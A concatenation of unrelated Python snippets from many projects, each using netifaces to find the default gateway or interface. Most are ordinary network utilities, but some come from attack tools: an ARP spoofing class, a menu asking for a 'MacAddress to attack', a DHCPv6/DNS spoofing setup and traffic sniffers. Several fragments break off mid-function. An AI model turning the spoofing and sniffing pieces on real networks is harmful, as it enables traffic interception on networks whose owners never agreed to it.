netifaces.AF_INET][0] # pylint: disable=c-extension-no-member clientConfig["netmask"] = addr["netmask"] clientConfig["ipAddress"] = addr["addr"] except Exception as gwe: raise RuntimeError( f"Failed to get network interface with default gateway: {gwe}" ) from gwe logger.info( "Passing client configuration to depot selection algorithm: %s", clientConfig) depotSelectionAlgorithm = configService.getDepotSelectionAlgorithm( ) logger.trace("depotSelectionAlgorithm:\n%s", depotSelectionAlgorithm) currentLocals = locals() exec(depotSelectionAlgorithm, None, currentLocals) # pylint: disable=exec-used selectDepot = currentLocals['selectDepot'] selectedDepot = selectDepot( clientConfig=clientConfig, masterDepot=masterDepot, alternativeDepots=alternativeDepots) if not selectedDepot: selectedDepot = masterDepot except Exception as err: # pylint: disable=broad-except logger.error("Failed to select depot: %s", err, exc_info=True) else: logger.info("No alternative depot for products: %s", productIds) logger.notice("Selected depot for mode '%s' is '%s', protocol '%s'", mode, selectedDepot, depotProtocol) self.set('depot_server', 'depot_id', selectedDepot.id) if depotProtocol == 'webdav': self.set('depot_server', 'url', selectedDepot.depotWebdavUrl) else: self.set('depot_server', 'url', selectedDepot.depotRemoteUrl)
def get_default_interface(): gateways = netifaces.gateways() default_iface = gateways['default'].get(netifaces.AF_INET) if not default_iface: return return default_iface[1]
def get_default_gateway(interface="default"): try: gws = netifaces.gateways() return gws[interface][netifaces.AF_INET][0] except: return None
import urllib import time from ftplib import FTP import ftplib from shutil import copy2 import win32api import netifaces # ------------------- Logging ----------------------- # logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG', logger=logger) # --------------------------------------------------- # # gets gateway of the network gws = netifaces.gateways() gateway = gws['default'][netifaces.AF_INET][0] def get_private_ip(): """ Gets private IP address of this machine. This will be used for scanning other computers on LAN. Returns: private IP address """ logger.debug("Getting private IP") ip = socket.gethostbyname(socket.gethostname()) logger.debug("IP: " + ip) return ip
def __init__(self): self.info = psutil.net_if_addrs() self.gateways = netifaces.gateways()
def _get_local_ip(self): interface = netifaces.gateways()["default"][netifaces.AF_INET][1] return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]["addr"]
def wol(mac, pw="", port=9): """ Send a WOL packet to the given MAC address """ result = False WOL_PREFIX = "FFFFFFFFFFFF" EN0 = netifaces.gateways()['default'][netifaces.AF_INET][1] iface_details = netifaces.ifaddresses(EN0) # Check supplied mac address. mac = mac_address.checkMACByteFormat(mac) mac = mac_address.removeMACSeperators(mac) error = mac_address.verifyMACBroadcastLength(mac) # If we're called from the command line, raise an exception. if (len(error) > 0): if 'tkinter' not in sys.modules: raise ValueError(error) else: return result # Setup the magic packet. magic_packet = ''.join([WOL_PREFIX, mac * 16]) # If a PW was provided, append it to the packet if (len(pw) > 0): magic_packet = magic_packet + pw # Pack the bytes from the magic packet string. send_data = bytes.fromhex(magic_packet) # Broadcast it to the LAN. if (socket.has_ipv6 == True): # socket.IPPROTO_IPV6 may not be defined on Windows, hardcode for now SOCKET_OP = 41 if "Windows" in os.environ.get('OS',''): WOL_IPV6 = "ff02::1" else : WOL_IPV6 = "ff02::1%"+EN0 SOCKET_OP = socket.IPPROTO_IPV6 # Get Host device port bindings IPADDR = iface_details.get(netifaces.AF_INET6)[0].get('addr') HOST_BIND = getIPv6Address(IPADDR, 0) # Get Remote device port info DEST_ADDR = getIPv6Address(WOL_IPV6, port) # Send the data sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) sock.setsockopt(SOCKET_OP, socket.IPV6_MULTICAST_HOPS, 1) sock.bind(HOST_BIND) sock.sendto(send_data, DEST_ADDR) sock.close() result = True else: WOL_IPV4 = iface_details.get(netifaces.AF_INET)[0].get("broadcast") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.sendto(send_data, (WOL_IPV4, port)) sock.close() result = True return result
def get_default(): try: return netifaces.gateways()['default'][netifaces.AF_INET][1] except KeyError: return None
def main(args): parser = argparse.ArgumentParser( description='Find active users on the current wireless network.') parser.add_argument('-p', '--packets', default=1000, type=int, help='How many packets to capture.') parser.add_argument('-r', '--results', default=None, type=int, help='How many results to show.') args = parser.parse_args() try: wireless = Wireless() ssid = wireless.current() if ssid is None: eprint( 'No SSID is currently available. Connect to the network first.' ) return eprint('SSID: {}'.format(ssid)) except: eprint('Couldn\'t get current wireless SSID.') raise network_macs = set() try: gw = netifaces.gateways()['default'][netifaces.AF_INET] iface = gw[1] gw_arp = subprocess.check_output(['arp', '-n', str(gw[0])]) gw_arp = gw_arp.decode('utf-8') gw_mac = EUI(re.search(' at (.+) on ', gw_arp).group(1)) gw_mac.dialect = mac_unix_expanded network_macs.add(gw_mac) eprint('Gateway: {}'.format(gw_mac)) except KeyError: eprint('No gateway is available: {}'.format(netifaces.gateways())) return except: eprint('Error getting gateway mac address.') bssid_re = re.compile(' BSSID:(\S+) ') da_re = re.compile(' DA:(\S+) ') sa_re = re.compile(' SA:(\S+) ') mac_re = re.compile('(SA|DA|BSSID):(([\dA-F]{2}:){5}[\dA-F]{2})', re.I) length_re = re.compile(' length (\d+)') client_macs = set() data_totals = defaultdict(int) cmd = 'tcpdump -i {} -Ile -c {}'.format(iface, args.packets).split() try: bar_format = '{n_fmt}/{total_fmt} {bar} {remaining}' for line in tqdm(run_process(cmd), total=args.packets, bar_format=bar_format): line = line.decode('utf-8') # find BSSID for SSID if ssid in line: bssid_matches = bssid_re.search(line) if bssid_matches: bssid = bssid_matches.group(1) if not 'Broadcast' in bssid: network_macs.add(EUI(bssid)) # count data packets length_match = length_re.search(line) if length_match: length = int(length_match.group(1)) mac_matches = mac_re.findall(line) if mac_matches: macs = set([EUI(match[1]) for match in mac_matches]) leftover = macs - network_macs if len(leftover) < len(macs): for mac in leftover: data_totals[mac] += length client_macs.add(mac) except subprocess.CalledProcessError: eprint('Error collecting packets.') raise except KeyboardInterrupt: pass print() totals_sorted = sorted(data_totals.items(), key=lambda x: x[1], reverse=True) eprint('Total of {} user(s)'.format(len(totals_sorted))) for mac, total in reversed(totals_sorted[:args.results]): mac.dialect = mac_unix_expanded if total > 0: print('{}\t{} bytes'.format(mac, total))
def get_Default_Interface(): gws = netifaces.gateways() return gws['default'][netifaces.AF_INET][1]
def __get_nw_devices(self): # {'default': {2: ('172.16.0.1', 'brq2376512c-13')}, 2: [('10.0.0.1', 'eno4', True), ('172.16.0.1', 'brq2376512c-13', True), ('172.16.1.1', 'brqf110e342-9b', False), ('10.0.0.1', 'eno4', False)]} nets = [] intfs = psutil.net_if_stats().keys() gws = netifaces.gateways().get(2) default_gw = self.__get_default_gw() if default_gw == "": self.agent.logger.warning('__get_nw_devices()', 'Default gw not found!!') for k in intfs: intf_info = psutil.net_if_addrs().get(k) ipv4_info = [ x for x in intf_info if x[0] == socket.AddressFamily.AF_INET ] ipv6_info = [ x for x in intf_info if x[0] == socket.AddressFamily.AF_INET6 ] l2_info = [x for x in intf_info if x[0] == -1] if len(ipv4_info) > 0: ipv4_info = ipv4_info[0] ipv4 = ipv4_info[1] ipv4mask = ipv4_info[2] search_gw = [x[0] for x in gws if x[1] == k] if len(search_gw) > 0: ipv4gateway = search_gw[0] else: ipv4gateway = '' else: ipv4 = '' ipv4gateway = '' ipv4mask = '' if len(ipv6_info) > 0: ipv6_info = ipv6_info[0] ipv6 = ipv6_info[1] ipv6mask = ipv6_info[2] else: ipv6 = '' ipv6mask = '' if len(l2_info) > 0: l2_info = l2_info[0] mac = l2_info[1].replace('-', ':') else: mac = '' # print(k) #mac = netifaces.ifaddresses(k)[netifaces.AF_LINK][0].get('addr') speed = psutil.net_if_stats().get(k)[2] inft_conf = { 'ipv4_address': ipv4, 'ipv4_netmask': ipv4mask, "ipv4_gateway": ipv4gateway, "ipv6_address": ipv6, 'ipv6_netmask': ipv6mask } iface_info = { 'intf_name': k, 'inft_configuration': inft_conf, 'intf_mac_address': mac, 'intf_speed': speed, "type": self.get_intf_type(k), 'available': True, "default_gw": False } if k == default_gw: iface_info.update({'available': False}) iface_info.update({'default_gw': True}) nets.append(iface_info) return nets
#!/usr/bin/python3 # -*- coding: UTF-8 -*- ''' netifaces模块能够获取网路设备的网卡接口信息 ''' import netifaces # 获取设备网关信息 gate1= netifaces.gateways() print("gate1 = ", gate1) print("gate1的类型为:", type(gate1)) print("\n") # 分析结果获取网关地址 gate = gate1["default"][2][0] print("gateway_addr:", gate)
def get_connected_interface_name(): try: return netifaces.gateways()['default'][netifaces.AF_INET][1] except KeyError: return None
def getDefaultGatewayIPAddress(): return netifaces.gateways()['default'][netifaces.AF_INET][0]
if (choice == '1'): choice = raw_input("enter cidr default[%s]: " % (iprange)) if (choice != ''): iprange = choice log.info("IP Scanner started for range %s, Please Wait...." % iprange) nm = nmap_python.PortScanner() nm.scan(iprange, arguments='-sP -n') for h in nm.all_hosts(): if 'mac' in nm[h]['addresses']: print(nm[h]['addresses'], nm[h]['vendor']) macAddressToAttack = '' while macAddressToAttack == '': macAddressToAttack = raw_input("MacAddress to attack: ") gateway = netifaces.gateways()['default'].values()[0][0] defaultGatewayIP = raw_input("Default Gateway[%s]" % gateway) if (defaultGatewayIP != ''): gateway = defaultGatewayIP macAddress = macAddressToAttack else: gateway = netifaces.gateways()['default'].values()[0][0] # defaultGateway = data['default_gateway'] # if defaultGateway is None or defaultGateway == "": # # else: # gateway = defaultGateway return macAddress, gateway, broadcast_ip, iprange
def __init__(self, args): # IP autodiscovery / config override if args.interface is None: self.dgw = netifaces.gateways()['default'] self.default_if = self.dgw[netifaces.AF_INET][1] else: self.default_if = args.interface if args.ipv4 is None: self.v4addr = netifaces.ifaddresses( self.default_if)[netifaces.AF_INET][0]['addr'] else: self.v4addr = args.ipv4 if args.ipv6 is None: try: self.v6addr = netifaces.ifaddresses( self.default_if)[netifaces.AF_INET6][0]['addr'] except KeyError: print( 'Error: The interface {0} does not have an IPv6 address assigned. Make sure IPv6 is activated on this interface.' .format(self.default_if)) sys.exit(1) else: self.v6addr = args.ipv6 if args.mac is None: self.macaddr = netifaces.ifaddresses( self.default_if)[netifaces.AF_LINK][0]['addr'] else: self.macaddr = args.mac if '%' in self.v6addr: self.v6addr = self.v6addr[:self.v6addr.index('%')] # End IP autodiscovery # This is partly static, partly filled in from the autodiscovery above self.ipv6prefix = 'fe80::' #link-local self.selfaddr = self.v6addr self.selfmac = self.macaddr self.ipv6cidr = '64' self.selfipv4 = self.v4addr self.selfduid = DUID_LL(lladdr=self.macaddr) self.selfptr = ipaddress.ip_address(str( self.selfaddr)).reverse_pointer + '.' self.ipv6noaddr = random.randint(1, 9999) self.ipv6noaddrc = 1 # DNS whitelist / blacklist options self.dns_whitelist = [d.lower() for d in args.domain] self.dns_blacklist = [d.lower() for d in args.blacklist] # Hostname (DHCPv6 FQDN) whitelist / blacklist options self.host_whitelist = [d.lower() for d in args.host_whitelist] self.host_blacklist = [d.lower() for d in args.host_blacklist] # Should DHCPv6 queries that do not specify a FQDN be ignored? self.ignore_nofqnd = args.ignore_nofqnd # Local domain to advertise # If no localdomain is specified, use the first dnsdomain if args.localdomain is None: try: self.localdomain = args.domain[0] except IndexError: self.localdomain = None else: self.localdomain = args.localdomain.lower() self.debug = args.debug self.verbose = args.verbose
def get_routes(self): """ returns list of gateways (routes) on the system """ return netifaces.gateways()
def scan_by_interface(interface_name="enp0s9", user="******", password="******", secret="1234"): global cisco cisco["username"] = user cisco["password"] = password cisco["secret"] = secret # Obtienen el disccionario de los datos de la red dic_data = ni.ifaddresses(interface_name) if 2 not in dic_data: print("No hay una dirección IPv4 en la interfaz") return [-1, -1] dic_data = dic_data[2][0] print(f"\nInformación\n{interface_name}:{dic_data}") addr = list(map(int, dic_data["addr"].split("."))) net = list(map(int, dic_data["netmask"].split("."))) c = determinate_prefix(net) # Se obtiene el identificador de la subred idnet = get_id_net(addr, net) # Se obtiene la dirección de broadcast range_net = get_broadcast_ip(idnet, net) print( f"Address: {addr}\nNetmask:{net}\nIdnet\n\tID: {(idnet)}/{c}\n\tNet: {(net)}\n\Range_net: {(range_net)}" ) print( f"Red a Escanear\n\tID: {arr_to_ip(idnet)}/{c}\n\tNetmask: {arr_to_ip(net)}\n\tBroadcast: {arr_to_ip(range_net)}" ) # Se prepara para hacer is_host_up ips = [idnet[0], idnet[1], idnet[2], idnet[3] + 1] print('Interfaces: ', ni.gateways()) responde = scan_range(ips, range_net) # Se filtra por primera vez que solo los elementos que sean Cisco """ ciscos=[] for i in range(len(responde)): for k,v in responde[i].items(): if "Cisco_Router_IOS" in v: print("Añadiendo: ", responde[i]) ciscos.append(responde[i]) """ for k, v in responde[0].items(): print(f"Estableciendo conexión con la dirección: {k}") cisco['ip'] = k #print(f"Solo routers cisco: {ciscos}") # Despues de todo lo que hace el modulo hay que conectarse por ssh o telnet # a los dispositivos cisco cmd = [ "sh cdp neigh detail | i IP address", "sh cdp neigh detail | i Device ID", "sh run | include hostname", "sh ip int br | include up", "sh ip int | include Internet address" ] red = {} net_router = {} # Los datos del router (Interfaces) output = conectar(cisco, cmd) #dir=re.split("\n| Internet address is | ",output[0]) #inte=re.split("\n| YES NVRAM up up | YES manual up up | ",output[1]) host_cmd = output[2].split("hostname ")[1] interf = output[3].split() direcciones = output[4].split() #print('Interfaces: ', interf, '\nDirecciones: ', direcciones) myInterfacesDict = {} ripRoutes = [] for i in interf: if 'Fast' in i: position = interf.index(i) + 1 actualValue = interf[position] sub = "" for int_fa in direcciones: if actualValue in int_fa: actualValue = int_fa sub = actualValue.split("/") pr = sub[1] sub = list(map(int, sub[0].split("."))) sub = arr_to_ip( get_id_net(sub, create_masc_by_prefix(int(pr)))) break myInterfacesDict[i] = actualValue myInterfacesDict[f"{i}-sub"] = sub ripRoutes.append(sub) con = ConnectHandler(**cisco) rip(con, ripRoutes) con.disconnect() print('Directorio: ', myInterfacesDict) print("\n\n\n") known_routers.append(host_cmd) val = output[1].split()[2] host_cmd = val.replace(val.split('.')[0], host_cmd) print('Router Principal: ', host_cmd) routers_alreadyConfigured.append(host_cmd) #Buscará los vecinos con = ConnectHandler(**cisco) neighbors(host_cmd, con) con.disconnect() tempHost = [] tempHost.append(cisco['ip'] + '/' + str(c)) routers[host_cmd]['Interfaces'] = myInterfacesDict routers[host_cmd]['RoutesToHosts'] = tempHost routers[host_cmd]['Protocol'] = 'RIP' routers[host_cmd]['Ip'] = cisco['ip'] json_routers = json.dumps(routers, sort_keys=True, indent=4) newDict = json.loads(json_routers) print(f"Diccionario de routers:\n{json_routers}") cmd = ['', 'ssh -l ' + cisco['username'] + ' ', cisco['password'], 'exit'] for key, values in newDict.items(): cmd[0] = key print('Router elegido: ', key, ' y el cmd dice: ', cmd[0]) break #cmd=["ssh -l admin ","show cdp neigh detail","admin","ena","1234","sh ip int | i Internet address", # "sh ip int br | include up","sh run | include hostname","exit"] cmd = [ "ssh -l admin ", "admin", "ena", "1234", "sh ip int br | include up", "sh ip int | include Internet address" ] #,"exit"] rawCmd = [ "", "admin", "1234", "sh ip int br | include up", "sh ip int | i Internet address" ] #, "exit"] for key, values in newDict[host_cmd]['Neighbors'].items(): print('Elemento dentro: ', values) global amountOfRouters amountOfRouters = amountOfRouters + 1 routers_alreadyConfigured.append(key) router = dataToRouter(values, host_cmd, key, ConnectHandler(**cisco)) router.set_data(cisco['ip'], cmd, rawCmd, False) threads.append(Thread(target=process, args=(router, ))) threads[-1].start() #Detener hilos actualAmountOfThreads = len(threads) threadCounter = 0 while threadCounter < actualAmountOfThreads: print('CANTIDAD DE HILOS: ', amountOfRouters) threads[amountOfRouters - 1 - threadCounter].join() threadCounter = threadCounter + 1 actualAmountOfThreads = len(threads) new_datos = json.dumps(routers_Code, sort_keys=True, indent=4) print(f'Datos: {new_datos}') new_json_routers = json.dumps(routers, sort_keys=True, indent=4) print(f"Diccionario de routers:\n{new_json_routers}") with open('routers.json', 'w') as outfile: json.dump(new_json_routers, outfile, indent=4) #VOY AQUÍ, LO QUE SIGUE ES VER COMO HACER PARA CONECTAR AL HOST DE LA POSIBLE RUTA DE CADA ROUTER """ #Primero hay que obtener el identificador de red, esto es pasar /24 a 255.255.255.0 o sus equivalentes data= routers['R1.adminredes.escom.ipn.mx']['RoutesToHosts'][0] chosenIp= data[:data.index('/')] chosenNetMask= data[(data.index('/') + 1):] print(f'Host a visitar: {chosenIp} con máscara de subred: {chosenNetMask}') addr= turnIpToArray(chosenIp) net= determinate_prefix_inverse(int(chosenNetMask)) print(f'\nConvertida en {addr} con máscara {net}') idnet=get_id_net(addr,net) # range_net es la dirección de broadcast, esto es para un 10.0.1.1/24 lo torna en 10.0.1.255 range_net=get_broadcast_ip(idnet,net) #ips viene siendo la dirección 1 de la subred a la que se está conectado, esto es, 10.0.1.0 lo torna en 10.0.1.1 ips=[idnet[0],idnet[1],idnet[2],idnet[3]+1] responde=look_for_hosts('R1.adminredes.escom.ipn.mx',ips,range_net) conexiones= verifica_conectividad(routers) """ """ cmd=["sh ip int | i Internet address","sh ip int br | include up","sh run | include hostname"] c=0 red={} net_router={} for i in ciscos: flag=False # Los datos del router (Interfaces) for k,v in i.items(): print(f"Estableciendo conexión con la dirección: {k}") cisco["ip"]=k output=conectar(cisco,cmd) print('Output: ', output) dir=re.split("\n| Internet address is | ",output[0]) inte=re.split("\n| YES NVRAM up up | YES manual up up | ",output[1]) host_cmd=output[2].split("hostname ")[1] direcciones=[] interf=[] for j in dir: if j!="": direcciones.append(j) for j in inte: if j!="": interf.append(j) if host_cmd in red.keys(): flag=False else: flag=True if flag: iter={} for j in range(len(direcciones)): iter[interf[(j*2)]]=direcciones[j] sub=direcciones[j].split("/") pr=sub[1] sub=list(map(int,sub[0].split("."))) sub=arr_to_ip(get_id_net(sub,create_masc_by_prefix(int(pr)))) iter[f"{interf[(j*2)]}-sub"]=sub red[host_cmd]=iter dir.clear() inte.clear() direcciones.clear() print("\n\n\n") for i in red.items(): print('Router: ', i, '\n\n') """ """ threads= [] cmd=["ssh -l admin ","admin","ena","1234","sh ip int | i Internet address","sh ip int br | include up","sh run | include hostname","exit"] # Obtiene los datos de la interfaz y se intenta conectar a la ip-1 a la que esta conectada for i in ciscos: for k,v in i.items(): cisco["ip"]=k for l,m in red.items(): for n,o in m.items(): ip_r=o.split("/") if ip_r[0]!=k and "-sub" not in n: ip_r=list(map(int,ip_r[0].split("."))) ip_r[3]-=1 #Para este caso cambia la ip del gateway, de P_3 de 254 asigna a la otra la 253 ip_r=arr_to_ip(ip_r) print('IP: ', ip_r) router= dataToRouter(ip_r) router.set_data(k, cmd) threads.append(Thread(target=process,args=(router,))) threads[-1].start() #Detener hilos for t in range(len(threads)): threads[t].join() for k,v in re_n.items(): red[k]=v json_routers=json.dumps(red,sort_keys=True,indent=4) print(f"Diccionario de routers:\n{json_routers}") route=[] protocolsThreads= [] conexiones=verifica_conectividad(red) # Se realiza las configuraciones de los routers permitiendo redistribución entre protocolos dinamicos y el estatico for i,j in red.items(): route=[] if "1" in i: print(f"\nEnrutamiento estático hacia -> {i}") for k,v in red.items(): if "1" not in k: for l,m in v.items(): if "-sub" in l and m not in route and n not in v.values(): route.append(m) resultado=conexiones[verifica_index(conexiones,i)] parser=resultado.split(":") routers=parser[0].split("-") net=parser[1] route_c=[] for k,v in red.items(): if "1" in k: for l,m in v.items(): if "-sub" in l and m not in route: route_c.append(m) route.remove(net) #print(f"{routers[0]} enruta hacia {routers[1]} con net {route_c}") #print(f"{routers[1]} enruta hacia {routers[0]} con net {route}") # Aca desarrollamos el comando en conjunto de las IP's que estan interconectadas # Obtenemos ip del R[0] hacia que ip salen la redirección de datos de R[1] ip_r1=list(red[routers[1]].values()) ip=ip_r1.index(net)-1 ip_r1=ip_r1[ip].split("/")[0] # Obtenemos ip del R[1] hacia que ip salen la redirección de datos de R[0] ip_r2=list(red[routers[0]].values()) ip=ip_r2.index(net)-1 ip_r2=ip_r2[ip].split("/")[0] cmd=["conf t"] for a in route_c: cmd.append(f"ip route {a} 255.255.255.0 {ip_r1}") cmd.append("end") #print(f"{routers[0]} manda comandos hacia si mismo con configuracion= {cmd}") router= staticConfig(ip_r) router.set_data(cmd) protocolsThreads.append(Thread(target=staticProcess,args=(router,))) protocolsThreads[-1].start() #output=conectar_bridge(cisco,cmd) cmd=[f"ssh -l admin {ip_r1}","admin","ena","1234","conf t"] for a in route: cmd.append(f"ip route {a} 255.255.255.0 {ip_r2}") cmd.append("end") cmd.append("exit") #print(f"{routers[0]} manda comandos hacia {routers[1]} con configuracion= {cmd}") router= staticConfig(ip_r2) router.set_data(cmd) protocolsThreads.append(Thread(target=staticProcess,args=(router,))) protocolsThreads[-1].start() #output=conectar_bridge(cisco,cmd) elif "2" in i: print(f"\nEnrutamiento RIP {i}") resultado=conexiones[verifica_index(conexiones,i)] parser=resultado.split(":") routers=parser[0].split("-") net=parser[1] print(f"Conexion entre {routers[0]} y {routers[1]} con la ip {net}") routes_r1=[] routes_r2=[] ip_r1=list(red[routers[0]].values()) for i in ip_r1: if "/" not in i: routes_r1.append(i) ip_r1=list(red[routers[1]].values()) for i in ip_r1: if "/" not in i: routes_r2.append(i) cmd=["conf t","router rip","ver 2","redistribute static","redistribute ospf 1","default-metric 1"] for i in routes_r1: cmd.append(f"net {i}") cmd.append("end") #print(f"{routers[0]} manda comandos hacia si mismo con configuracion= {cmd}") router= staticConfig(ip_r2) router.set_data(cmd) protocolsThreads.append(Thread(target=staticProcess,args=(router,))) protocolsThreads[-1].start() #output=conectar_bridge(cisco,cmd) # Sale la IP R[1] ip_r1=list(red[routers[1]].values()) ip=ip_r1.index(net)-1 ip_r1=ip_r1[ip].split("/")[0] ######################### cmd=[f"ssh -l admin {ip_r1}","admin","ena","1234","conf t","router rip","ver 2","redistribute static","redistribute ospf 1","default-metric 1"] for i in routes_r2: cmd.append(f"net {i}") cmd.append("end") cmd.append("exit") #print(f"{routers[0]} manda comandos hacia {routers[1]} con configuracion= {cmd}") router= staticConfig(ip_r1) router.set_data(cmd) protocolsThreads.append(Thread(target=staticProcess,args=(router,))) protocolsThreads[-1].start() #output=conectar_bridge(cisco,cmd) elif "3" in i: print(f"\nEnrutamiento OSPF {i}") resultado=conexiones[verifica_index(conexiones,i)] parser=resultado.split(":") routers=parser[0].split("-") net=parser[1] print(f"Conexion entre {routers[0]} y {routers[1]} con la ip {net}") routes_r1=[] routes_r2=[] ip_r1=list(red[routers[0]].values()) for i in ip_r1: if "/" not in i: routes_r1.append(i) ip_r1=list(red[routers[1]].values()) for i in ip_r1: if "/" not in i: routes_r2.append(i) cmd=["conf t","int loop0","ip add 200.0.0.1 255.255.255.255", "no sh","exit","router ospf 1","ver 2","router ospf 1", "redistribute static metric 200 subnets", "redistribute rip metric 200 subnets"] for i in routes_r1: cmd.append(f"net {i} 0.0.0.255 area 0") cmd.append("end") #print(f"{routers[0]} manda comandos hacia si mismo con configuracion= {cmd}") router= staticConfig(ip_r1) router.set_data(cmd) protocolsThreads.append(Thread(target=staticProcess,args=(router,))) protocolsThreads[-1].start() #output=conectar_bridge(cisco,cmd) # Sale la IP R[1] ip_r1=list(red[routers[1]].values()) ip=ip_r1.index(net)-1 ip_r1=ip_r1[ip].split("/")[0] ######################### cmd=[f"ssh -l admin {ip_r1}","admin","ena","1234","conf t", "int loop0","ip add 200.0.0.2 255.255.255.255", "no sh","exit","router ospf 2","ver 2","router ospf 2", "redistribute static metric 200 subnets", "redistribute rip metric 200 subnets"] for i in routes_r2: cmd.append(f"net {i} 0.0.0.255 area 0") cmd.append("end") cmd.append("exit") #print(f"{routers[0]} manda comandos hacia {routers[1]} con configuracion= {cmd}") router= staticConfig(ip_r1) router.set_data(cmd) protocolsThreads.append(Thread(target=staticProcess,args=(router,))) protocolsThreads[-1].start() #output=conectar_bridge(cisco,cmd) for t in range(len(protocolsThreads)): protocolsThreads[t].join() """ print( "\nSe han levantado todos los protocolos para comunicarnos entre routers" ) return new_json_routers
def gateway_discovery(self): """Retrieving default gateway of pod, which is usually also a contact point with the host""" return [[gateways()["default"][AF_INET][0], "24"]]
import os import subprocess import sys import netifaces from optparse import OptionParser from kamene.all import * import signal import sys import threading import time LOCAL_IP = netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr'] GATEWAY_IP = netifaces.gateways()['default'][netifaces.AF_INET][0] CONF_IFACE = 'eth0' class ARPSpoofing(): # def __init__(self): # if os.geteuid() != 0: # print ("[-] Run me as root") # sys.exit(1) # # ------------ Main ------------ # usage = 'Usage: %prog [-i interface] [-t target] host/s' # parser = OptionParser(usage) # parser.add_option('-i', dest='interface', help='Specify the interface to use') # parser.add_option('-t', dest='target', help='Comma separated list to hosts to ARP poison') # (self.options, self.args) = parser.parse_args() #Given an IP, get the MAC. Broadcast ARP Request for a IP Address. Should recieve
def _prepare_socket(self, interface_name=None): netinf = zhelper.get_ifaddrs() logger.debug("Available interfaces: {0}".format(netinf)) #get default gateway interface default_interface_names = [] netifaces_default_interface_names = [] gateways = netifaces.gateways() logger.debug("Gateways: {0}".format(gateways)) if netifaces.AF_INET in gateways: for address, interface, is_default in gateways[netifaces.AF_INET]: #fix for windows (netifaces.gateway() returns adapter name instead of interface name) if platform.startswith("win"): netifaces_default_interface_names.append(interface) for iface in netinf: for name, data in iface.items(): if netifaces.AF_INET in data and data[ netifaces.AF_INET]['adapter'] == interface: default_interface_names.append(name) else: default_interface_names.append(interface) logger.debug('Default interface names "{0}"'.format( list(default_interface_names))) logger.debug('Netifaces default interface names "{0}"'.format( list(netifaces_default_interface_names))) for iface in netinf: # Loop over the interfaces and their settings to try to find the broadcast address. # ipv4 only currently and needs a valid broadcast address for name, data in iface.items(): # Drop if not specified interface name if interface_name and interface_name != name: continue #Interface of default route found, skip other ones #This trick allows to skip invalid interfaces like docker ones. if len(default_interface_names ) > 0 and name not in default_interface_names: logger.debug( 'Interface "{0}" is not interface of default route'. format(name)) continue logger.debug('Checking out interface "{0}".'.format(name)) #Get addr and netmask infos data_2 = data.get(netifaces.AF_INET) if not data_2: logger.debug( 'No data_2 found for interface "{0}".'.format(name)) continue #get mac address infos data_17 = data.get(netifaces.AF_LINK) if not data_17 and platform.startswith("win"): #last chance to get mac address on windows platform for netifaces_default_interface_name in netifaces_default_interface_names: ifaddresses = netifaces.ifaddresses( netifaces_default_interface_name) if netifaces.AF_LINK in ifaddresses and len( ifaddresses[netifaces.AF_LINK]) > 0: data_17 = ifaddresses[netifaces.AF_LINK][0] break if not data_17: logger.debug( 'No data_17 found for interface "{0}".'.format(name)) continue address_str = data_2.get("addr") netmask_str = data_2.get("netmask") mac_str = data_17.get("addr") if not address_str or not netmask_str: logger.debug( 'Address or netmask not found for interface "{0}".'. format(name)) continue if isinstance(address_str, bytes): address_str = address_str.decode("utf8") if isinstance(netmask_str, bytes): netmask_str = netmask_str.decode("utf8") if isinstance(mac_str, bytes): mac_str = mac_str.decode("utf8") #keep only private interface ip_address = netaddr.IPAddress(address_str) if ip_address and not ip_address.is_private(): logger.debug( 'Interface "{0}" refers to public ip address, drop it.' .format(name)) continue interface_string = "{0}/{1}".format(address_str, netmask_str) interface = ipaddress.ip_interface(u(interface_string)) if interface.is_loopback: logger.debug( 'Interface "{0}" is a loopback device.'.format(name)) continue if interface.is_link_local: logger.debug( 'Interface "{0}" is a link-local device.'.format(name)) continue self.address = interface.ip self.mac = mac_str self.network_address = interface.network.network_address self.broadcast_address = interface.network.broadcast_address self.interface_name = name if self.address: break if self.address: break logger.debug("Finished scanning interfaces.") if not self.address: self.network_address = ipaddress.IPv4Address(u('127.0.0.1')) self.broadcast_address = ipaddress.IPv4Address(u(MULTICAST_GRP)) self.interface_name = 'loopback' self.address = u('127.0.0.1') self.mac = None logger.debug("Address: {0}".format(self.address)) logger.debug("MAC: {0}".format(self.mac)) logger.debug("Network: {0}".format(self.network_address)) logger.debug("Broadcast: {0}".format(self.broadcast_address)) logger.debug("Choosen interface name: {0}".format(self.interface_name))
import mysql.connector import socket import requests import time import subprocess import os from scapy.all import * db = mysql.connector.connect(user='******', password='******', host='10.151.36.134', database='ta_container') cursor = db.cursor(buffered=True) cursor2 = db.cursor(buffered=True) gw_device = netifaces.gateways()['default'][netifaces.AF_INET][1] array_ip_source = [] tmp_sourceIP = [] flag = 0 counter = 1 while True: print "Percobaan ke = " + str(counter) rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) receivedPacket = rawSocket.recv(2048) #Ethernet Header... ethernetHeader = receivedPacket[0:14] ethrheader = struct.unpack("!6s6s2s", ethernetHeader) destinationIP = binascii.hexlify(ethrheader[0])
#setting log file name filename = "spoof.log" # Set logging structure logging.basicConfig(format='%(levelname)s: %(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p', filename=filename, filemode="a", level=logging.DEBUG) # Read available network interfaces available_interfaces = netifaces.interfaces() # Check the connected interface interface = netifaces.gateways()['default'][netifaces.AF_INET][1] # Check if specified interface is valid if not interface in available_interfaces: exit("Interface {} not available.".format(interface)) # Retrieve network addresses (IP, broadcast) from the network interfaces addrs = netifaces.ifaddresses(interface) #handling keyerror 2 which is cause due to netifaces try: local_ip = addrs[netifaces.AF_INET][0]["addr"] broadcast = addrs[netifaces.AF_INET][0]["broadcast"] except KeyError: exit("Cannot read address/broadcast address on interface {}".format( interface))
